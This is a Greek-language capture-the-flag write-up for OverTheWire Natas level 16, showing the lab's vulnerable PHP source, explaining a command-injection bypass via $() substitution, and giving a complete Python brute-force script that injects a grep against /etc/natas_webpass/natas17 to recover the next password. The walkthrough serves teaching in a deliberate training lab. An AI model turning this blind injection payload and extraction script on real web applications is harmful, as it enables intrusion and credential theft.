News

News

Σάββατο
Ιούνιος, 3

Πολεμικά Παίγνια: OTW Natas #16

Το 16ο επίπεδο του πολεμικού παιγνίου Natas συνδυάζει πολλές από τις γνώσεις των προηγούμενων επιπέδων για να μας διδάξει μία άλλη τεχνική επίθεσης. Όπως αναφέρουμε σε όλα τα άρθρα μας σε αυτή τη κατηγορία, το πιο σημαντικό είναι να δοκιμάζετε μόνοι σας κάθε επίπεδο προτού μελετήσετε άλλες λύσεις όπως οι δικές μας. Παραθέτουμε στη συνέχεια τους συνδέσμους για όλες τις λύσεις μας έως αυτό το επίπεδο, και στη συνέχεια ακολουθεί η λύση μας και γι’αυτό το επίπεδο.

Πηγή: NBCNews.com

Όπως κάνουμε πάντα, συνδεόμαστε στο νέο επίπεδο με το όνομα χρήστη natas16 και το κωδικό πρόσβασης που αποκτήσαμε από το προηγούμενο επίπεδο. Μετά τη σύνδεση βλέπουμε μία σελίδα που γράφει «For security reasons, we now filter even more on certain characters» (Για λόγους ασφαλείας, πλέον φιλτράρουμε ακόμα περισσότερα σε συγκεκριμένους χαρακτήρες), και στη συνέχεια έχει ένα πεδίο εισαγωγής λέξεων προς αναζήτηση (Find words containing) και ένα κουμπί αναζήτησης (Search). Για ακόμα μία φορά οι δημιουργοί του μας προσφέρουν το πηγαίο κώδικα (View sourcecode) για να βρούμε το κενό ασφαλείας πιο εύκολα.

Πηγή: OverTheWire.org

Το επίπεδο αυτό αμέσως μας θυμίζει έντονα τα επίπεδα 9 και 10, και ο πηγαίος κώδικας το επιβεβαιώνει αυτό. Βλέπετε το πηγαίο κώδικα αναζήτησης παρακάτω.


<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i "$key" dictionary.txt");
    }
}
?>

Είναι ουσιαστικά ο ίδιος ακριβώς κώδικας με μοναδική διαφορά ότι η συνάρτηση preg_match() πλέον μας απαγορεύει να εισάγουμε τους χαρακτήρες που είχαμε χρησιμοποιήσει στις προηγούμενες επιθέσεις μας. Για την ακρίβεια, φιλτράρει τους ακόλουθους χαρακτήρες.

Πηγή: Tripwire.com

Ωστόσο, βλέπουμε ότι δε φιλτράρει ούτε τους χαρακτήρες των παρενθέσεων, ούτε το σύμβολο του δολαρίου. Στη γραμμή εντολών Bash ενός λειτουργικού συστήματος Linux αυτός είναι ένας πολύ σημαντικός συνδυασμός χαρακτήρων καθώς εκτελεί εντολές. Για παράδειγμα, το παρακάτω θα εκτελέσει την εντολή «date» και θα αποθηκεύσει το αποτέλεσμα της στη μεταβλητή «hmeromhnia».


hmeromhnia=$(date)

Γνωρίζοντας το παραπάνω, και σε συνδυασμό με όσα είχαμε κάνει στα επίπεδα 9 και 10, μπορούμε να προσαρμόσουμε αυτές τις επιθέσεις κάπως έτσι.

Πηγή: Προσωπικό αρχείο

Το παραπάνω σημαίνει ότι εάν υπάρχει κάτι που να περιέχει το γράμμα «a» στο αρχείο /etc/natas_webpass/natas17, τότε το πρόγραμμα δε θα μας επιστρέψει τίποτα καθώς στο λεξικό (αρχείο dictionary.txt) δεν υπάρχουν λέξεις όπως «asomething». Από την άλλη πλευρά, εάν ο κωδικός που υπάρχει στο αρχείο /etc/natas_webpass/natas17 δε περιέχει το γράμμα «a», τότε το παραπάνω θα μας επιστρέψει «something» καθώς αυτό υπάρχει στο λεξικό.

Πηγή: 123RF.com

Με αυτό το τρόπο μπορούμε να κάνουμε μία επίθεση ωμής δύναμης (ή brute-force στα Αγγλικά) δοκιμάζοντας όλους τους πιθανούς χαρακτήρες μέχρι να ανακατασκευάσουμε ολόκληρο το κωδικό πρόσβασης του επόμενου επιπέδου. Για να το επιτύχουμε αυτό χρησιμοποιήσαμε το πρόγραμμα που είχαμε γράψει στο «OTW Natas #15» με κάποιες μετατροπές ώστε να κάνει αυτό που θέλουμε σε αυτή τη περίπτωση. Βλέπετε το τελικό αποτέλεσμα παρακάτω.


#!/usr/bin/env python

import httplib
import urllib
import re
import base64

# Ο άγνωστος κωδικός του επόμενου επιπέδου
kwdikos_epomenou_epipedou = ""
# Όλοι οι πιθανοί χαρακτήρες που μπορεί να υπάρχουν στο κωδικό
pithanoi_xarakthres_kwdikou = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
# Ένας μετρητής για τους χαρακτήρες
metrhths = 0
# Οι κεφαλίδες της σύνδεσης
kefalides = {}
# Οι παραμέτροι της ιστοσελίδας
parametroi_selidas = {}
# Το όνομα χρήστη για σύνδεση
onoma_xrhsth = "natas16"
# Ο κωδικός πρόσβασης για σύνδεση
kwdikos_prosbashs = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"

# Προετοιμασία ρυθμίσεων σύνδεσης στον εξυπηρετητή και σύνδεση
syndesh = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
kwdikopoihmena_stoixeia_syndeshs = base64.encodestring('%s:%s' % (onoma_xrhsth, kwdikos_prosbashs)).replace('n', '')
kefalides["Authorization"] = "Basic %s" % kwdikopoihmena_stoixeia_syndeshs
kefalides["Content-Type"] = "application/x-www-form-urlencoded"

# Για όσο δεν έχουμε συμπληρώσει 32 χαρακτήρες στο κωδικό πρόσβασης
# δοκίμασε τον επόμενο πιθανό χαρακτήρα
while metrhths != 32:
    for enas_xarakthras in pithanoi_xarakthres_kwdikou:
        kwdikos_epomenou_epipedou += enas_xarakthras

        # Προετοιμασία της κακόβουλης παραμέτρου όπως περιγράψαμε στο άρθρο μας
        parametroi_selidas = urllib.quote_plus("$(grep -E ^" + kwdikos_epomenou_epipedou + ".* /etc/natas_webpass/natas17)hackers")

        # Αποστολή του αιτήματος στον εξυπηρετητή
        syndesh.request("GET", "/?needle=" + parametroi_selidas + "&submit=Search", "", kefalides)

        # Αποθήκευση της απάντηση στη μεταβλητή apanthsh
        apanthsh = syndesh.getresponse()
        data = apanthsh.read()

        # Εάν εμφανίστηκε το "hackers" τότε δε βρήκαμε το σωστό συνδυασμό
        # και προχωράμε στον επόμενο κωδικό, αλλιώς
        # αποθήκευσε το γράμμα που βρήκες
        if data.count("hackers") == 0:
            print 'Epomenos kwdikos: ', kwdikos_epomenou_epipedou
            metrhths += 1
            break
        else:
            kwdikos_epomenou_epipedou = kwdikos_epomenou_epipedou[:-1]

# Κλείσιμο της σύνδεσης
syndesh.close()

# Τύπωσε στην οθόνη το κωδικό του επόμενου επιπέδου
print 'Kwdikos gia to natas17: ', kwdikos_epomenou_epipedou

Και το παραπάνω μπορείτε να δείτε στη πράξη πως είναι παρακάτω όπου το εκτελέσαμε από τη γραμμή εντολών ενός λειτουργικού συστήματος Linux.

Πηγή: Προσωπικό αρχείο

Και έτσι καταφέραμε και αυτή τη φορά να αποκτήσουμε το κωδικό πρόσβασης για το επόμενο επίπεδο χάρη στην ευπάθεια τύπου «command injection» (έγχυση εντολών) που είχε η ιστοσελίδα. Μέχρι και σήμερα πολλές ιστοσελίδες αλλά και προγράμματα παραβιάζονται από αυτού του είδους την ευπάθεια. Ένα πρόσφατο παράδειγμα ήταν το πρόγραμμα διαχείρισης δικτύων του λειτουργικού συστήματος Red Hat Enterprise Linux από το Μάιο του 2018 που είχε μία ευπάθεια στο υποσύστημα DHCP. Σε αυτή την ευπάθεια συστήματος δόθηκε ο μοναδικός αριθμός κενού ασφαλείας CVE-2018-1111. Η ευπάθεια που είχε επέτρεπε σε κακόβουλους χρήστες να εισάγουν εντολές μέσω μίας παραμέτρου που δε φιλτράρονταν προσεκτικά και εν συνεχεία αυτές οι εντολές εκτελούνταν με δικαιώματα διαχειριστή συστήματος (root). Έτσι ένας απλός χρήστης μπορούσε να χρησιμοποιήσει αυτό το κενό ασφαλείας για να αποκτήσει δικαιώματα διαχειριστή. Γι’αυτό πρέπει να φιλτράρουμε πολύ προσεκτικά όλες τις παραμέτρους προτού τις χρησιμοποιήσουμε σε ένα πρόγραμμα ή μία ιστοσελίδα.

Πηγή: Anquanke.com

το βρήκαμε εδώ

Natas
#Πολεμικά #Παίγνια #OTW #Natas

Latest articles

Find us on

Latest articles

Related articles

Προσβολή στόχων με έμμεσα πυρά (αποστολή βολής) – commandos.gr...

Για την εκτέλεση παρατηρούμενης έμμεσης βολής ακολουθούνται τα εξής τρία στάδια: Εντοπισμός του στόχου (εξακρίβωση της θέσης του). αίτηση πυρών με...

Σχολή Υποβρύχιων Καταστροφών – commandos.gr – Ειδικές Δυνάμεις

των Περικλή Ζορζοβίλη και Δημήτρη Μανακανάτα, ΠΕΡΙΠΟΛΟΣ Ανοιξη 2006 Από την εποχή της συγκρότησής της, το 1953 μέχρι...

Σχολείο Υποβρυχίων Καταστροφών (ΣΥΚ) – Θέματα για τις Ελληνικές...

Η Ελλάδα εισήλθε στη συμμαχία ΝΑΤΟ στις 18 Φεβρουαρίου 1952 και σύντομα ξεκίνησαν οι συνεκπαιδεύσεις και ανταλλαγή...

Πυρομαχικό SMArt 155 (DM702) – commandos.gr – Ειδικές Δυνάμεις

To SMArt 155 είναι ένα έξυπνο, αυτόνομο και αποτελεσματικό πυρομαχικό Πυροβολικού τύπου «fire and forget», το...

Σωστικά μέσα ιπταμένων – commandos.gr – Ειδικές Δυνάμεις

Ατομικό Σωσίβιο Ιπταμένου LPU – 10/P Φοριέται κάτω από το life jacket, με τους ασκούς στην εξωτε­ρική μεριά...

Στρατιωτική Ελεύθερη Πτώση – commandos.gr – Ειδικές Δυνάμεις

Οι επιχειρήσεις Στρατιωτικής Ελεύθερης Πτώσης χαρακτηρί­ζονται γενικά από πτήσεις πάνω ή δίπλα από τον Αντικειμενικό Σκοπό (ΑΝΣΚ)...